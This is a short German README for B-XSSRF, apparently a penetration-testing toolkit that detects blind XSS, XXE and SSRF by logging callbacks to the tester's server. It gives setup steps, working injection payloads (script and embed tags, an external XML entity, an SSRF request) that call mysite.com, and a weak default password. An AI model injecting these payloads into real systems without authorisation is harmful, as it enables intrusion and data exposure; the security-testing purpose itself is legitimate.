B-XSSRF

Toolkit zur Erkennung und Verfolgung von Blind XSS, XXE & SSRF

EINRICHTUNG

• Laden Sie die Dateien auf Ihren Server hoch.
• Erstellen Sie eine Datenbank und laden Sie die Datei database.sql hoch.
• Ändern Sie die Datenbank-Zugangsdaten in der Datei db.php.
• Fertig.

VERWENDUNG

BLIND XSS

<embed src="http://mysite.com/bxssrf/request.php">
<script src="http://mysite.com/bxssrf/request.php">

BLIND XXE

<?xml version="1.0" ?>
<!DOCTYPE root [
<!ENTITY % ext SYSTEM "http://mysite.com/bxssrf/request.php"> %ext;
]>
<r></r>

SSRF

GET /testssrf.php=http://mysite.com/bxssrf/request.php

STANDARD-ANMELDEDATEN

USER : [email protected]
PASS : 123456